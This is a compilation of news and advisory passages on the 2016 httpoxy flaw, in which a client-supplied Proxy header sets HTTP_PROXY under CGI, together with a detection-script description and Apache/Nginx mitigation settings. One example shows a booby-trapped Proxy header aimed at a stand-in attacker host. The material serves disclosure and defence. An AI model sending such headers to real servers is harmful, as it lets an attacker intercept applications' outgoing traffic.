Attempts to detect web applications vulnerable to “httpoxy” (CVE-2016-5385, CVE-2016-5386,
CVE-2016-5387, CVE-2016-5388, CVE-2016-1000109, CVE-2016-1000110).

The script attempts to detect this vulnerability by measuring the response time when
assigning a non-existing proxy to the headers. In theory, vulnerable applications will try
to connect to the bad proxy increasing the response time. To reduce false positives we run
the test several times and we expect the response time from the request with the bad
proxy to always be greater than normal responses.

scripts/http-httpoxy.nse
https://goo.gl/e4nRSC

There’s a brand new BWAIN in the house!

BWAIN is our just-a-bit-cynical term for Bug With An Impressive Name, a publicity trend that started just over two years ago with Heartbleed.

Heartbleed was a sort-of pun, given that the bug allowed you to abuse the TLS/SSL heartbeat function to bleed off random chunks of secret data from a vulnerable server.

Everyone loves 15 minutes’ worth of fame, so the BWAIN bug bit security researchers hard, giving us, in quick order, security holes with funky names such as POODLE and LOGJAM, as well as the more dystopian Shellshock, DROWN, and ImageTragick.

Collision avoidance

RFC3875 tries to avoid collisions with a rule like this:

[Environment variables visible to the CGI subprocess that have] names beginning with “HTTP_” contain values read from the client request header fields, if the protocol used is HTTP. The HTTP header field name is converted to upper case, has all occurrences of “-” replaced with “_” and has “HTTP_” prepended to give the [environment] variable name.

So far, so good…

…but not not all environment variables that start HTTP_ are inherently safe.

For example, many web-friendly programs, including utilities very likely to be used by CGI scripts, treat the environment variable HTTP_PROXY= in a special way: they use it to configure their own proxy settings.

In other words, if I send a booby-trapped web request that just happens to contain an otherwise-pointless HTTP header such as this…

Proxy: http:⁄⁄dodgy.example/crooked_proxy

…then any CGI scripts that process my request will run with this environment variable set:

HTTP_PROXY=http:⁄⁄dodgy.example/crooked_proxy

Any HTTP requests that those scripts generate in turn (for example, to perform a database query or to authenticate a user) will not be processed directly, but will instead be sent off to the server dodgy.example, because of the sneaky and unexpected proxy configuration.

Researchers discovered that a vulnerability whose existence has been known for 15 years could affect many web applications, allowing malicious actors to launch man-in-the-middle (MitM) attacks.

Dubbed HTTPoxy, the flaw is a namespace conflict issue that affects applications running in Common Gateway Interface (CGI) or CGI-like environments. A website and a logo have been created for HTTPoxy.

The issue has been found to affect Go, PHP, Python, HAProxy, Nginx, Microsoft IIS, Drupal, HHVM, and some Apache products. Mitigation advice and patches have been provided for the affected products. Additionally, companies such as Akamai and CloudFlare have taken steps to protect their customers against potential attacks.

The following CVE identifiers have been assigned so far: CVE-2016-5385 (PHP), CVE-2016-5386 (Go), CVE-2016-5387 (Apache HTTP Server), CVE-2016-5388 (Apache Tomcat), CVE-2016-1000109 (HHVM) and CVE-2016-1000110 (Python).

HTTPoxy was first discovered and fixed in libwww-perl in 2001, and later that year it was also patched in Curl.

A dangerous easy-to-exploit vulnerability discovered 15 years ago has reared its head again, leaving server-side website software potentially open to hijackers.

The Apache Software Foundation, Red Hat, Ngnix and others have rushed to warn programmers of the so-called httpoxy flaw, specifically: CVE-2016-5385 in PHP; CVE-2016-5386 in Go; CVE-2016-5387 in Apache HTTP server; CVE-2016-5388 in Apache TomCat; CVE-2016-1000109 in PHP-engine HHVM; and CVE-2016-1000110 in Python.

This security hole, present in various web apps and libraries, can be exploited to rummage around backstage of vulnerable websites, and potentially access sensitive data or seize control of the code.

Basically, you abuse the Proxy HTTP header in a request to the application to set a common environment variable called HTTP_PROXY on the application’s server. The app then, due to a naming conflict, uses the proxy server defined by that variable for any of its outgoing HTTP connections.

So, if you point HTTP_PROXY at a malicious server, you can intercept the web app’s connections to other systems and, depending on how the code is designed, potentially gain remote code execution. It hinges on whether or not the app makes outgoing connections as part of its operation, and if these can be usefully exploited.

“If you’re running PHP or CGI, you should block the Proxy header now,”

“httpoxy is extremely easy to exploit in basic form, and we expect security researchers to be able to scan for it quickly. If you’re not deploying code, you don’t need to worry,” added Scheirlinck.

Quick and easy mitigations are available, with the best being to block Proxy request headers before they hit applications and to use HTTPS for connections between systems.

A longer-term fix is to not trust HTTP_PROXY under CGI. Developers of web apps, plugins and libraries in need of patching should obtain a Distributed Weakness Filing Project number or apply for a CVE number from MITRE.

This attack use HTTP_PROXY for Man-in-the-Middle” attack. The following web servers, web frameworks and programming languages are affected:

Go lang (CVE-2016-5386)
PHP lang (CVE-2016-5385)
HHVM (CVE-2016-1000109)
Python (CVE-2016-1000110)
Apache Tomcat (CVE-2016-5388)
Servers Apache (CVE-2016-5387)/Nginx/Varnish/Httpoxy.
Disro – RHEL and CentOS and others.

1.1 General solution

The recommended solution at the moment is to unset or filter the HTTP_PROXY header variable. This is done in apache with the mod_headers module and this configuration statement:

RequestHeader unset Proxy early

On Nginx you can use this line to unset the HTTP_PROXY variable.

fastcgi_param HTTP_PROXY “”;

5 Test

Finally, you should test if your server is safe now. Luke Rehman has developed a nice online testing tool which can be found here: https://httpoxy.rehmann.co/

Enter the URL to your server or website in the tool and click on the “test” button.